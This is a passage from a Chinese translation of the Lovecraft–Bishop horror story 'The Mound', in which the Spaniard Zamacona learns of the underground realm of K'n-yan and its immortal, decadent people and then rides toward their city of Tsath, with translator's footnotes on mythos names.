当这次奇怪的对话结束之时,双方都交换了大量的信息。扎曼阿克拉已经开始学着如何传达他的思想了,同时他也学会了几个那种古老语言曾使用过的词语。另一方面,那些来访者们则学会了不少西班牙语中的基础词汇。他们的古老语言与西班牙人曾听说过的任何东西都完全不同。不过,在那之后的时间里,扎曼阿克拉有时也觉得这种语言与阿兹特克语有着非常微弱而遥远的联系,就仿佛后者代表了这种语言在经历过长时间退化之后的状态;也可能是之间的借用词非常微弱地相互渗透后产生的结果。扎曼阿克拉了解到,这个地下世界有着一个非常古老的名字——他在手稿里将之记录为“Xinaián”,但根据作者追加的解释与变音符来看,这个名字在盎格鲁萨克逊人听起来像是“昆扬”。[注] _[注:原文为K'n-yan]_ 不出所料,他们初次谈话的内容并没有超出那些最基本的事实,但即便这些最基本的事情仍然非常重要。扎曼阿克拉了解到这些居住在昆扬的人非常非常的古老,他们来自宇宙中一个极为遥远的地方,但是那里的物理环境与地球却很相似。当然,所有这些都只是他们的传说而已;也没有人能说得清楚其中到底有多少是真实发生过的历史,同样也没有人能说清楚其中有多少是源于对图鲁——那个传说中将他们带到地球上、长着章鱼般头部的存在——的崇拜,甚至他们至今还因为一些美学上的原因而对它满怀敬意。但他们的确知道外部世界的存在,而且的确也来源自外部的世界——在外部世界的地壳适宜生活的时候,他们曾在上面殖民。早在冰河时期的时候,他们曾在地表的各处发展出了一些非常了不起的文明,特别是在南极地区一个靠近群山中的卡达斯的地方[注]。 _[注:Kadath,一座位于冷原上的城市。在后来的《疯狂山脉》中洛夫克拉夫特也曾暗示冷原有可能在南极。但是实际上冷原在不同的故事中有完全不同的位置。]_ 在过去的某个距今非常遥远的时候,外面世界的绝大部分都沉入了海洋之中,只有极少数流亡者幸存了下来,并且将消息带到了昆扬。这场灾难无疑是由某些宇宙中的魔鬼在暴怒之中造成的——这些魔鬼与他们以及他们的神为敌——因为有传闻说在更早的太古时代,也发生过一次大陆沉没的灾难,一些神明,包括伟大的图鲁,都被淹没了——所以图鲁现在还被囚禁在那几乎无限巨大的拉莱克斯城[注]中的水底墓穴里,沉睡在他的梦境中——而后来的这场灾难更证明了那些关于早前灾难的传闻是正确的。他们断定,那些能在地球表面长久生活下去的人都是宇宙魔鬼的奴隶;同时他们也认定,所有残存在那上面的东西之间存在着一些邪恶的联系。那些通向昆扬的地下通道,或者说那些他们还能记起的通道,要么被堵了起来,要么则被小心地看守起来;而所有入侵者也都被当作危险的间谍和敌人来看待。 _[注:原文为Relex,应该是昆扬人对拉莱耶的称呼。]_ 但这已经是非常非常遥远的事情了。随着岁月的流逝,到访昆扬的人也变得越来越少,直到最后哨兵们开始不再驻守在那些没有封闭的通道里。许多人都忘记了在昆扬之外还存在着一个世界,除了透过一些歪曲紊乱的记忆、或者神话、抑或某些非常奇怪的梦境才能偶然想起;不过那些受过教育的人却从未忘记这一基本的事实。历史记录在案的最后一批来访者并没有被当作魔鬼的间谍来看待——那已经是数个世纪之前的事情了;而那些只存在于古老传说里的信仰也早已消亡了。居住在昆扬的人们向那批来访者热切地询问了许多问题——许多有关那个存在于传说中的外部世界的问题——因为昆扬的居民都有着强烈的求知欲,而且那些有关地球表面的神话、记忆、梦境以及片段历史都在诱惑学者们去开展一次他们不敢去尝试的外部探险。他们对于来访者的唯一要求是他们不能再返回地面世界,不能再向任何人提起昆扬的存在;毕竟,没有谁敢肯定那外面的大地上到底会有些什么。这些来访者渴望得到环境与白银,而且可能是些非常令人烦恼的入侵者。那些遵守命令的人虽然在短时间有些后悔,但最后都生活得很快乐,他们向昆扬人讲述了所有他们知道的关于外面世界的事情——可这提供的信息仍是非常非常少的,因为他们的叙述都太破碎而且还自相矛盾,没人知道应该相信什么怀疑什么。其中有一个来访者还希望有更多的人能到昆扬来。而那些不遵循命令试图逃跑的人——结果就非常的不幸了。扎曼阿克拉则很受昆扬人的欢迎,因为他似乎是一个更有学识的人,而且知道许多有关外面世界的事情,甚至比他们记忆中任何来到昆扬的人更加博学。他能告诉他们许多东西——他们希望他一生都能待在昆扬,不要离开。 扎曼阿克拉也从第一次谈话中了解到了许多有关昆扬的事情,这些事情让他惊讶得喘不过气来。例如,他了解到在最近这几千年里,昆扬人已经征服了老化与死亡;所以除了出于暴力的结果或自愿如此,否则没有人会衰老,也没有人会死去。通过调节整个身体系统,昆扬人能够按照自己的意愿保持一副年轻的身体并且永远地活下去;他们愿意让自己变老的唯一理由是他们喜欢那种生活在一个被萧条与平凡所统治着的世界里的感觉。当他们想要变得年轻时,他们又能够轻易地变回去。除了为了某些实验的目的外,他们不再生育,因为他们发现一个能够支配自然与对手的主宰种族并不需要太多的人口。然而,有许多人在一段时间之后会选择死亡,因为尽管他们已经在用最聪慧的才智去发明新的乐趣,可对于那些敏感的灵魂来说,这种意识上的折磨也变得无趣了——特别是有些人已经被漫长的时间与满足的感觉蒙蔽了自己最原始的本能与自我保护的意识。站在扎曼阿克拉面前的这群人年纪从500岁到1500岁不等;还有几个过去曾见过外面来的人,不过时间已经模糊了那一段记忆。另外,那些来访者常常都试图复制这个地底种族延长寿命的方法;但却只实现部分的效果,因为两个种族的进化历程之间有着一两百万年的鸿沟。[注] _[注:此处似有一错误,因为进化这个概念是达尔文在十九世纪提出的,扎曼阿克拉当时应该无法理解这样的概念。当然也有可能是叙述者对于手稿的补充。]_ 人类与昆扬人之间的进化差异在某些方面甚至要更加的明显——有些要比永生这种奇迹怪异得多。受过专门训练的昆扬人能依靠纯粹的意志力量改变物质与精神能量之间的平衡,甚至包括活的有机生物的身体。换句话说,一个有学识的昆扬人能够通过适当的努力能够使自己在物质与非物质的状态之间来回转化——或者在更努力的情况下,借助一些更精妙的技术,他们也能对自己选定的目标完成相同的转变;把固体的物质简化成自由的粒子,然后重新整合起这些粒子却不对目标本身造成任何伤害。如何扎曼阿克拉那时没有回应昆扬人的敲门,那么他将会在在一种非常令人困惑的情况下目睹这种技术;要不是他们当时心情紧张,而这一转化过程又过于繁琐,他们肯定不会在直接穿过金色大门前先停下来叫门。这门技术要比永生的技术古老得多;而且它也能在一定程度上教授给任何有智慧的人类,但实际效果却并不完美。有传闻说,在古老的过去,这门技术曾流传到了地表世界;不过到了后来却只在一些隐秘的传说与阴森的恐怖故事里还有些许的残余。当那些地上世界的流浪者来到这里,讲述起此类关于那些原始、不完美的精魂的故事时,昆扬人都被逗乐了。在他们的实际生活中,这种原理在过去可能有着某些生产上的应用,但由于缺乏特定的目的要使用它,所以绝大多数时候都被忽视掉了。它现在的主要用途与睡眠有关,有许多梦想家会为了寻求刺激而利用它把自己的冥想漫游变得更加生动。通过这种方法,某些梦想家甚至能前往某个朦胧而奇怪的地方进行一次半物质化的旅行——那个地方有许多山丘与河谷,有逐渐变化的光线,有些人相信那就是已经被大多数昆扬人遗忘了的外部世界。他们会骑着自己的牲畜到达那边,在一个和平的年代里回忆他们先祖曾经历过的那些古老而光荣的战争。某些哲学家认为在这种情况中,他们的确与那些好战的先祖们所遗留下来的某些非物质的力量之间建立了某些联系。 昆扬的人们都居住在名叫撒托的巨大城市里。这座高耸的城市就在群山的那一边。从前,他们的族群分散居住在整个地下世界里——这个地下世界不仅包括这片平原与远方的丘陵,而且一直向下延伸到深不可测的深渊里,除了这片被蓝色光芒点亮的地方之外,还有一片被红色光芒点亮的地方,那里被称作幽嘶[注],昆扬的考古学家们曾在这片地方发现了一些更加古老而且不属于人类的远古遗迹。随着时间的流逝,居住在撒托的人们征服并奴役了其他的民族;并让他们与某种生活在红色光芒照亮的地区上、长着犄角的四脚动物进行杂交繁衍——那些四脚动物在某些方面奇特地像是人类,虽然它们都带着某些某些人工改造的成分,但仍很可能是一部分那些创造了古老以及的奇特生物所残留下来的退化后裔。总之,随着时间的流逝,不断发明的机械使得生活变得越来越便捷,撒托的居民开始逐渐集中起来;于是昆扬的其他地方也就相对地变得荒废了。 _[注:Yoth,由瓦卢西亚王国残余的蛇人建立的新王国,最后蛇神伊格的诅咒中毁灭。]_ 所有人都生活在同一个地方则方便得多,而且他们也没有打算要维持一个不断增长的人口。许多古老的机械装置都还在继续运转着,但也有许多设备已经被废弃了——其中有些是因为它们无法让人觉得满意,有些则是因为对于一个数量不断减少的种族来说已经没有什么必要了,更何况他们还能利用精神力量控制大量地位低下、类似于人类的奴隶生物。这个庞大的奴隶阶层有着非常复杂的组成;其中有些源自远古时期被征服的敌人,有些则来自外部世界的流浪者,有些则是被他们用奇怪的方法重新激活再度运转的尸体,还有些是撒托居民中那些天生低贱卑微的成员。而那些统治阶层在经历过一段时期优生选育与社会进化后变得极为高等——这个种族曾经历过一个理想化的工业民主时期,所有人都拥有相同的机会,但为了将天生的智力转变成能够行使权力的能力大多数昆扬人耗尽了精力与智慧。他们认为物质生产,除了供应基本的生活需要与满足不可避免的欲望之外,完全没有任何作用;因此整个生产体系变得非常的简单。一座经过标准化制定同时也易于维护的机械化城市保证了生理上所需的舒适环境;而其他的基本需求则由科学化的农业与畜牧业生产来满足。再没有人进行长途的旅行,人们放弃使用各式各样由黄金、白银与钢铁制造的能够在陆地、水域和空气里行驶的交通工具,重新坐上了那些长着犄角有些像人的野兽。扎曼阿克拉几乎不敢相信在那种只该出现在噩梦里的东西居然真的存在于这个世界上,但昆扬人告诉他,他可以在博物馆里看到这些生物的标本。同时,如果他愿意花上一天的时间前往督韩河谷[注],他还能看到一些巨大的神奇装置残留下的遗迹。在昆扬人口最多的时期,曾有一部分昆扬人居住在那座河谷里。而扎曼阿克拉刚进入地下世界时所看到的那些位于平原上的城镇与寺庙则是从更古老的年代里残留下来的,在撒托居民统治昆扬的这段岁月里,那里仅仅被当作一片宗教与考古研究的圣地来看待。 _[注: the valley of Do-Hna]_ 撒托的政治体系像是共产主义,甚至有些像是无政府状态;习俗而非法律决定着日常事务的秩序。这个种族那古老而漫长的阅历以及他们令人惊诧的厌倦情绪让这一切变得非常可行。现如今他们的欲望已只剩下生理上的基本需求与追求新的感官刺激了。虽然越来越强烈的厌倦感觉还没有逐渐毁灭这种永世的生命,但在这种煎熬面前,任何价值观与原则信条都只是幻影而已;除了某些近似风俗的传统外,他们从不寻求或指望其他什么东西。也正因为如此,所有人共同追寻享乐的举动才没有使得社会生活陷入瘫痪的境地——而这就是他们所渴望的一切。家庭之类的社会纽带早在很久之前就已经消亡了,社会文明意义上的性别差异也已消失。日常生活也变得模式化了:他们一天的主要事情就是游戏,醉酒,折磨奴隶,白日做梦,盛宴与情绪化的纵酒狂欢,宗教仪式,怪异的实验,艺术与哲学上的探讨,以及其他一些喜好。财富——主要是土地、奴隶、牲畜、撒托城中那些公共企业中的股份,带磁性的图鲁金属锭以及过去通用的货币——全都根据一种非常复杂的计算方法进行了分配,按照某种份额均等地分给了所有的自由人。他们不知道什么是贫穷,需要进行的劳动也只有一些行政管理类的日常任务——而昆扬人依靠一套复杂测试与筛选体系来决定谁应该去从事这些工作。扎曼阿克拉发现这些情况与他之前知道的任何事情都完全不同,而想要详细描述它们又是那么的困难;所以他在手稿的这一部分里流露出了罕有的迷茫与困惑。 撒托人在智力与艺术方面的造诣似乎曾达到过一个非常高的水准;不过他们已经开始对这种成就感到倦怠,因而开始逐渐衰落了。机器技术占有主导地位的思想破坏了普通美学的生长空间,而随之一同引入的那种豪无生命可言的几何学观念毁坏了正常而健全的表达方式。这种情况很快就孽生蔓延开来,并且在所有插画与装饰上留下了它的痕迹;所以除了那些早已约定俗成的宗教图案,他们后期创造的作品几乎都没有什么深度,也很少在其中掺杂进任何的感情。文学全都变得高度个人化而且全都可以被分析解释,这种情况如此严重甚至扎曼阿克拉都觉得完全无法理解。科学上的发现变得既深奥又精准,所涉及的领域包罗万象——唯一没有涉及的就是天文学的内容。然而到了后来,科学也开始衰落了,因为人们发现费尽心力去回忆它其中那令人发狂的细节与分支已经变得越来越没有意义了。大家认为放弃进行那些最深奥的思索,并且将哲学禁锢在约定俗成的形式下反而显得更加明智。当然,工程与技术也完全可以依靠他们漫长积累起来的经验继续执行下去。人们开始越来越忽视过去的历史,不过在图书馆里仍保留着许多丰富的、精确记录着过去事件的史料。毕竟它还是一个能引起人们兴趣的主题;而扎曼阿克拉所带进来的那些有关外面世界的新知识则更会令一大群人欢欣鼓舞。不过,现在大多数人都倾向于感受而非思考,所以人们这时更加看重那些发明新鲜娱乐活动的人,而不是那些保存古老史实、或者开拓宇宙秘密的人。 但是,在撒托,宗教仍然是民众主要的兴趣之一,不过他们中很少有人会真的相信那些超自然的力量。他们所关心的是这些丰富多彩的远古信仰中所呈现的神秘气氛以及那些愉悦感官的仪式,因为这些气氛与仪式能给他们带来美学上的感受和情绪上的狂喜。伟大的图鲁即是代表着万事万物和谐相处的精魂;而在那个有着章鱼般头部、将所有人从群星之间带到地球的神明即是图鲁的远古象征。关于它的建筑与雕塑在整个昆扬都极为常见。而伊格则代表着生命的原理,以众蛇之父的形象来象征。供奉它的神秘神殿即富丽堂皇又显眼注目。后来扎曼阿克拉学到了许多关于这些宗教的狂欢仪式与献祭方法,但是这个笃信天主教的西班牙人似乎极不愿意在他的手稿里描述这些东西。而他自己从未实践过任何与这些神明相关的仪式;除了一些他误认为是将自己的信仰颠倒曲解后衍生出的仪式外。同时他还把握住任何机会试图说服昆扬人皈依天主教教义——当时的西班牙人几乎想将它传播到世界的各个角落。 当时在撒托城内,宗教活动最为突出的特点是对那些稀有的神圣图鲁金属几乎完全发自内心的崇敬又开始复兴了——自然界中找不到这种带有磁性与光泽的暗色物质,但它却总是以偶像与僧侣工具的形式存在于昆扬人身边。在最古早的时候,只要看上一眼它最纯粹的模样就会加深人们对它的敬意,同时所有神圣的行为与长时间的连续祷告都需要在由最纯粹的图鲁金属铸造的圆筒里进行。而到了扎曼阿克拉个那时候,由于对科学和智力的忽视,严肃分析的精神也一同变得迟钝了,人们开始再一次充满敬畏地为这些神秘的金属批上了早在远古之前就曾存在过的迷信外衣。 宗教的另一个功能则是调整历法。早在制定昆扬历法的那个时代,时间与历法的运转都被认为是个人生活中最基本的神圣事务。入睡与醒来的时间,需要根据气氛与方便的原则进行延长、缩短与反转,而这一切都是由大蛇,伟大的伊格,尾巴敲打的节拍来定时的。这种定时方式粗略地类似于地面上的日夜更替;但扎曼阿克拉的感觉告诉他这种历法中一天的时间大约是地面上的两倍。而“年”这个单位则以伊格每年蜕下自己的外皮为标志,这大约等于外面世界一年半的时间。当扎曼阿克拉写下这份手稿时,他觉得自己已经完全掌握了这种奇怪的历法,因此他很自信地认为当时是1545年;但手稿并没有任何信息说明的确有道理对这一事情如此自信。 随着撒托那一方面的发言人传递出越来越多有关他们的信息,扎曼阿克拉开始觉得越来越反感与惊慌。那些惹人厌的事情不仅仅是他们所传达出来的信息,还有这种心灵感应般的奇怪说话方式。意识到自己永远也无法再返回外部世界时,西班牙人不禁希望自己从未进入过这片畸形、堕落而又不可意思的世界。但他也知道只有友好地默许他们的建议才能得到可靠的保障,因此西班牙人决定保持合作,参与来访者们的所有计划,提供他们想要的一切信息。另一方面,昆扬人则完全被他吞吞吐吐描述出的有关外面世界信息深深地吸引了。 自远古时期那批从亚特兰提斯与利莫里亚逃回昆扬的流亡者算起,这还是昆扬人第一次听到有关地表的真正可靠的消息。因为在那些远古大陆沉没之后,再从地面进入到昆扬的那些被当作间谍与密探的人就全都是当地的部落成员,而且全都不超出那一带狭窄的地域范围——充其量也不过是玛雅人、托尔提克人[注]以及阿兹特克人,而大多数时候都则都是生活在平原上的愚昧小部落。他们第一次看到扎曼阿克拉这样的欧洲人。而他曾受过的良好教育以及所表现出的卓越素质则更说明他是一个非常重要的知识来源。到访的这一群人对他设法表达的任何东西都表现出了极为浓厚的兴趣,屏息待他设法表达清楚。很明显,他的到来会将会使得无聊的撒托人暂时重新燃起对于地理和历史等领域的兴趣。 _[注:一个公元900年前后存在于墨西哥附近中美洲文明。]_ 唯一令撒托人有些不高兴的是另一件事情——扎曼阿克拉的到来说明好奇与爱冒险的陌生人又开始涌入外部世界的这一区域了,可这里却有着通向昆扬的地下通道。扎曼阿克拉向他们讲述了外面的人类是如何发现佛罗里达与新西班牙的,并且清楚地告诉他们外面的大片世界正不断刺激着人们的探险热情——西班牙人、葡萄牙人、法国人与英国人都参与到这场开拓边疆的行动中来,迟早墨西哥与佛罗里达肯定会融入一个巨大的殖民帝国——而到了那个时候,外来者将很难不去寻找那些传说中位于深渊里的黄金与白银。奔牛已经知道扎曼阿克拉进入了地下。他会不会把这件事情告诉科罗拉多呢?或者当他在约定的地点找不到扎曼阿克拉时,他又会不会将这件事情传到大总督那里去呢?为此,来访者的脸上纷纷显露出了担忧的神色,担心如何才能让昆扬继续安全与保密下去。西班牙人也从他们的思想里了解到,就在他们说话的时候,哨兵们无疑又再一次地守卫在了那些撒托人还能够记得的、连接着昆扬与外部世界的通道里。 ----------- ### V 扎曼阿克拉与来访者在神庙大门外那片弥漫着绿色微光的小树林里进行了长时间的交流。有些人斜倚在那条几乎已经消失的走道两旁茂密的草地与苔藓上,而其他人,包括西班牙人和那一群人中主要的发言人,都坐在神庙走道两旁排列着的低矮石柱上。他们几乎花了相当于地面上一整天的时间来进行交流,因为扎曼阿克拉在那段时间里有好几次都感觉到了饥饿,并且也吃了一些旅行包里的补给;而有一些撒托人也走回到大路边去取他们自己的补给——因为他们把驮他们过来的牲畜留在了大路边上。最后,来访者的头领结束了对话,并且告诉他是时候前往城市去了。 头领告诉扎曼阿克拉,在他们的队伍里还有几只多余的牲畜,他坐在一只上面跟着他们一同返回城市里。一想到要骑上一只那种不祥的混血怪物就让西班牙人感到深深的恐惧,而且不论撒托人如何保证,他都无法消除这种恐惧的心理。本来在那些传说里,用来喂养这些怪物的食物就足够让人惊骇恐惧了,而且奔牛单单只是瞥了它们一眼便疯了一般狂奔逃出了隧道。同时,这些东西的另外一些特征却让他更加不安——它们显然有着某种不寻常的智力,仅仅在一天前它们中的一小群曾经过这个地方,随后它们便向撒托城里的人们报告了他的存在,并且领来了眼下这一群来访者。但扎曼阿克拉并不是懦夫,于是他大胆地跟着其他人走过了生长着野草的小道,来到了他们安顿那些牲畜的大路边。 但当他走过那座蔓藤垂挂着的门柱来到那条古老的大路边上时,却忍不住为自己看到的东西恐惧地惊声尖叫起来。在这一刻,他不再怀疑为什么那个好奇的威奇托人会在恐慌中夺路而逃。他不得不闭上眼睛,希望能保持住自己的理智。不幸的是,扎曼阿克拉的虔诚信念使得他并没有在自己的手稿里完整详细地描述那副无可名状的情形。他仅仅在手稿里对这群生物那令人惊骇的畸形外貌做了些许的暗示。根据手稿里的描述,他看到了一群躁动不安的巨大白色动物。它们的背脊上长着黑色的皮毛,同时它们的前额中央还长着一只并没有完全成型的犄角。但更重要的是,这些生物那鼻梁扁平、嘴唇突出的脸孔明显与人类或类人猿有着某些亲缘关系。扎曼阿克拉后来又在手稿里补充说,不论是在外面世界还是在昆扬里,这些生物都是他所见过的最为恐怖的真实存在。而它们最为恐怖的地方却不是那些能轻易辨认与描述的特征,这些东西最为令人不安的地方是它们的本质,因为它们并不完全是自然的造物。 那些撒托人注意到了扎曼阿克拉的恐惧,连忙尽一切可能试图安抚他的情绪。他们向他解释到:这些野兽,或者说这些盖艾-幽嘶[注1],的确非常奇怪;但它们完全不会对他构成任何威胁。它们并不会吃统治种族中那些有智慧的人,它们的食物是一群非常特殊的奴隶——这些奴隶在绝大多数方面都不能算是真正的人,而且事实上,他们也是昆扬的主要肉类储备。昆扬人最早在蓝色昆扬下方那片被红光照亮的荒芜世界里发现了这些野兽——或者说它们主要的祖先。当时那些野兽正游荡在一些巨大的废墟中,处于一种完全野化的状态。很明显,它们有一部分是人;但是昆扬的科学家永远也无法确定它们是否就是那些过去曾生活并统治着那些古怪废墟的生物在历经过漫长的衰落与退化后留下来的后代。这一假设的主要根据在于:昆扬人知道那些过去曾居住在这个被称为幽嘶的世界里的居民是四足动物。而这一事实则是根据他们在幽嘶中最大的城市废墟下方的辛之墓群[注2]里发现的少量手稿与雕刻而得出来的。但是那些手稿里也曾提到,这些生活在幽嘶里的住民掌握着创造合成生命的技术,而且在他们的历史上曾亲自创造并毁灭过几个经过特别设计、能够高效地进行生产或运输的物种——更何况手稿里还提到,在这些生物逐渐衰落的漫长岁月里,他们曾为了娱乐和追求新的感官刺激而混合创造了形形色色的奇异生物。可以肯定的是,这些居住在幽嘶的生物与爬虫类动物有着某些亲缘关系,而撒托的大部分考古学家也一致认为这些野兽在与昆扬的哺乳类奴隶群体杂交之前也的确非常像是爬行动物。 _[注1:原文为 gyaa-yothn,是昆扬人创造出来的一个奴隶种族]_ _[注2:原文为the vaults of Zin]_ 后来发生的事情很好地证明了那些在文艺复兴时期征服了半个未知世界的西班牙人的确有着英勇无畏的热情。潘费罗·德·扎曼阿克拉·鲁兹真地骑上了其中一只可怖的畸形怪物,走进了队伍里,与队伍的领导者并肩而行——这支队伍的领导者名叫吉·哈萨·因,在之前的交流中,他显得最为活跃。骑乘在这种畸形的怪物身上是一件颇为令人厌恶的事情,但另一方面,要稳稳地坐在上面却并不困难,这些笨拙的盖艾-幽嘶走起路来却很平稳,步子也相当均匀。它们并不需要配鞍,而且也似乎不要任何形式的指挥。队伍开始踩着轻快的步伐向前移动,仅仅在某些废弃的城市与神庙边稍做停留。扎曼阿克拉对这些神庙与城市颇感好奇,而吉·哈萨·因则会亲切地向他一一解释。这些城镇中最大的那座叫做毕格,那是一座由黄金巧妙修筑的奇迹。扎曼阿克拉怀着热切的兴趣研究着这些经过奇异装饰的建筑。所有建筑都修建得高大而苗条,并从屋顶向四周散射出许多纤细的尖塔。城市里的街道也非常狭窄曲折,偶尔会如同绘画一般出现许多上下的坡道。不过吉·哈萨·因告诉他,在昆扬里较晚修建的城市在设计上要宽敞规则得多。这些平原上的古城边都残留着一些痕迹显示这里曾竖立着一堵堵平整的高墙——它们还见证着撒托的军队成功征服这些城市时的那段古老年月——只是现在那原本属于撒托的军队也早已解散了。 同时,吉·哈萨·因还非常主动地邀请西班牙人参观一处位于大路侧旁的建筑——虽然他们需要为此走上一英里爬满了蔓藤的小道。那是一座由黑色玄武岩石块修建的矮胖神庙。这座简单的神庙上没有任何的雕画,只有一个空荡荡的缟玛瑙基座。它真正不同寻常的地方在于它所蕴涵的故事,因为它象征着一个更加古老、甚至只存在于传说之中的世界,相比这个世界即便神秘的幽嘶也不过像是存在于昨天的事物。昆扬人根据辛之墓群里所发现的一些描述仿造修建了这座神庙,并在其中供奉上了一个他们在红光世界里找到的可怕偶像。根据那些在幽嘶发现的手稿,这个犹如蟾蜍一般的黑色偶像叫做撒托古亚。这是一个受到广泛崇拜的强大神明,而当昆扬人接受了它之后,甚至借用了它的名字来为那座后来统治了整个昆扬的城市命名。幽嘶的传说称它来自那片红光世界下方某个神秘的地心世界——许多拥有着奇异感官的生物就生活在那个黑暗世界里。那个世界里面没有一丝光亮,可早在幽嘶的那些四脚爬虫存在之前,那里就出现了许多伟大的文明与强大的神明。在幽嘶有着许多牵涉到撒托古亚的图画,而所有这些图画据说都来自于那个黑暗的地下世界。幽嘶的考古学家们认为这些图画是在表现那个生活在黑暗世界里、早在万古之前就已灭绝的种族。幽嘶手稿将那个黑暗世界称为恩·凯伊,那些幽嘶的考古学家已尽可能彻底地探索了那个世界,而那些存在于那个世界的奇怪石槽或洞穴也激起了他们无限地猜想。 当昆扬人发现了那个被红光照亮的世界,并解读了那些奇怪的手稿后,他们接纳了撒托古亚做为新的宗教,并将所有恐怖的蟾蜍图案带回了上方那个被蓝光照亮的世界——并将它们安置在用从幽嘶开采出的玄武岩修筑起来的神庙里,例如扎曼阿克拉眼前看到的这座。崇拜撒托古亚的宗教得到了飞速的发展,最后甚至几乎与那些崇拜图鲁与伊格的古老宗教不相上下,昆扬人的一支甚至将这种宗教传播到了外部世界。在靠近地球北极的洛玛大陆[注1]上的奥拉索尔城[注2]的一个神庙里曾发现过一块最小的宗教图画。有传闻说,外部世界的撒托古亚教团不仅安然度过了冰河期,甚至在多毛的诺弗刻们[注3]毁灭洛玛大陆时也成功地幸存了下来,但昆扬人对这些事情并不确定,所知道的信息也很有限。但是在这个被蓝色光芒照亮的世界里,对撒托古亚的崇拜在某个时期之后便嘎然而止了,即便他们能容忍撒托这个城市的名字,却再也不去崇拜那个名叫撒托古亚的神明了。 _[注1:Lomar,在克苏鲁神话中这是远古时期从海里升起的一块土地。]_ _[注2:Olathoë,洛玛大陆上的一个城市,曾出现在《北极星》中]_ _[注3:Gnophkeh,克苏鲁神话中一族出现在寒冷地区神秘生物,生长着六条腿,头部有一角,全身多毛的生物。]_ 这一宗教的终结源于一次针对位于红光世界幽嘶下方的黑暗世界恩·凯伊所展开的小规模探险行动。根据幽嘶手稿上的记载,恩·凯伊里已经没有任何生命了,但在幽嘶手稿完成之后到昆扬人来到地球之前的这段岁月里,那个地方肯定发生了某些事情;某些可能与幽嘶的灭亡不无关系的事情。也许某次地震打开无光世界下方原本一直封闭着、幽嘶考古学家不曾进入过的石室;或者那里的能量与物质产生了某种可怕的混合,某种任何脊椎动物都完全无法想象的混合。不论如何,当昆扬人带着他们巨大的核能探照灯深入恩·凯伊的黑暗深渊时,他们看到了活物——这些活物自石槽里流淌而出,膜拜着用玄武岩或缟玛瑙雕刻而成的撒托古亚雕像。但它们并不像撒托古亚那样,生得一副蟾蜍的模样;相反,它们是一团团不定形的粘性软泥,为了各种各样的目的,可以临时变幻出形形色色的模样。昆扬人的探险队没有停下来做进一步的观察,而那些最后活着逃出来的人彻底地封锁了那条从红色幽嘶进入下方恐怖深渊的通道。在那之后,昆扬大地上所有关于撒托古亚的图画全都被人们用离解射线分解得什么也不剩下,而任何崇拜撒托古亚的仪式也一同被永远地废止了。 在许多年之后,盲目的恐惧变得愈发强大,逐渐取代了科学上的好奇心,于是那些关于撒托古亚和恩·凯伊的传说又被再次提了出来。于是他们重新组织起一支装备精良的探险队再次来到幽嘶,希望发现那扇道通向黑暗深渊的封闭大门,准备看一看那下面到底有些什么。但他们却没有找到那扇大门,而在随后的年月里也再没有人这么做过。直到现在还有人质疑那个深渊是否真的存在,但少数解译幽嘶手稿的学者仍认为他们有着充分的证据证明那个深渊的确存在,不过那些记载了可怕恩·凯伊探险的昆扬记录本身也很值得质疑。后来有一些宗教团体试图禁止人们去回忆恩·凯伊,并对那些提到它的人施以严酷的责罚;但在扎曼阿克拉刚到昆扬的时候,他们还没开始严肃地执行这一命令。 当队伍重新返回那条古老的大路并逐渐接近那一线低矮的山脉时,扎曼阿克拉发现之前看到的那条河流就在他左侧不远的地方。稍后不久,随着地形逐渐攀升,小河淌进了一条山峡,穿过了低矮的山丘,而道路则在靠近山丘边缘一个地势较高的位置上横越了峡谷。就在这个时候,下起了毛毛细雨。扎曼阿克拉很快便注意到偶尔有水滴和雨丝滴落,于是抬起头望向天空闪亮的蓝色大气,但那种奇怪的光芒却并没有丝毫的减弱。吉·哈萨·因告诉他这种水汽的凝聚与滴落在这里并不少见,但他们却从来都没有见到上方天穹里的光芒有过丝毫的黯淡。事实上,某种奇特的薄雾会经常性地徘徊在昆扬的低洼地带,算是弥补了这里见不到真正云彩的缺憾。 平缓向上延伸的山坡让扎曼阿克拉能再度看清楚身后这片古老平原那荒凉的全貌。刚进入这个世界的时候,他在平原另一边的山坡上也看到过这样的景象。他似乎有些欣赏这种奇异的美景,甚至因将要离它远去而隐约觉得有些遗憾;因为吉·哈萨·因催促他驱使自己的坐骑走得更快一些。当他再度往前望去时,他看到通向山顶的路已经非常近了;长满了野草的道路一直向上延伸,最后突然消失在一片由蓝光构成的空白虚空中。那是一幅令人极为印象深刻的景象——在他们的右侧是一片由陡峭的绿色山脉形成的天然城墙,而在他们的左侧是一条幽深的河谷,在河谷的那边是另一片绿色的山脉,而向上的道路则终结在一片由蓝色光辉搅动翻滚而成的海洋里。接着,他们来到了山丘的顶端,整个撒托那魁伟壮丽的景色就铺展在他们的眼前。 当扎曼阿克拉扫视着这幅人造的风景时,不由自主地屏住了呼吸,因为这是一座定居着稠密人口、充满了活力的大都会,与他过去见到过或梦到过的任何事物都完全不同。山丘那一侧向下的山坡上分布着相对稀疏的小型农场与散落的神庙,但在这一段下坡之后则是一片被分割覆盖得犹如棋盘一般的旷阔平原——在那上面有着人工种植的树木;有着从河流中引出用于灌溉着这些树木的狭窄水渠;有着严格按照几何原理纵横穿越的宽阔大道——有些铺设着大块的玄武岩石板,有些则铺设着纯金。巨大银色电缆高高地悬挂在金色的柱子上,将那些分散的低矮建筑与随处耸立的密集高大建筑群连接在一起,而在有些地方则只能看见一排排没有悬挂电线已经被废弃的柱子。某种在田地上缓缓移动的物体显示这些土地正在被耕作着,而在其中有些地方,扎曼阿克拉还看见那些令人嫌恶的类人四脚动物正在协助着昆扬人开垦土地。 但最令他印象深刻的还是由密集的尖顶与高塔所组成的那副让人不知所措的景象。这些尖塔耸立在遥远的平原上,在闪亮的蓝色光辉中,犹如花朵一般闪射出妖异的光芒。起先,扎曼阿克拉以为他看到一座覆盖着房屋与神庙的高山,就像自己的故乡西班牙那如画的山地城市一样,但接下来他意识到事情并非如此。那是一座耸立在平原上的城市,只是那些直插天际的塔群让它的轮廓看起来就如同高山一般。在那犹如山一般塔群上悬挂着一层奇怪的浅灰色薄霾。蓝色的光芒透过这层雾气闪耀着,而那千万金色尖顶的光辉则为这种光芒添上了一丝其他的色彩。扎曼阿克拉看了一眼吉·哈萨·因,然后他便意识到这就是撒托,那座巨大而又怪异的全能之城。 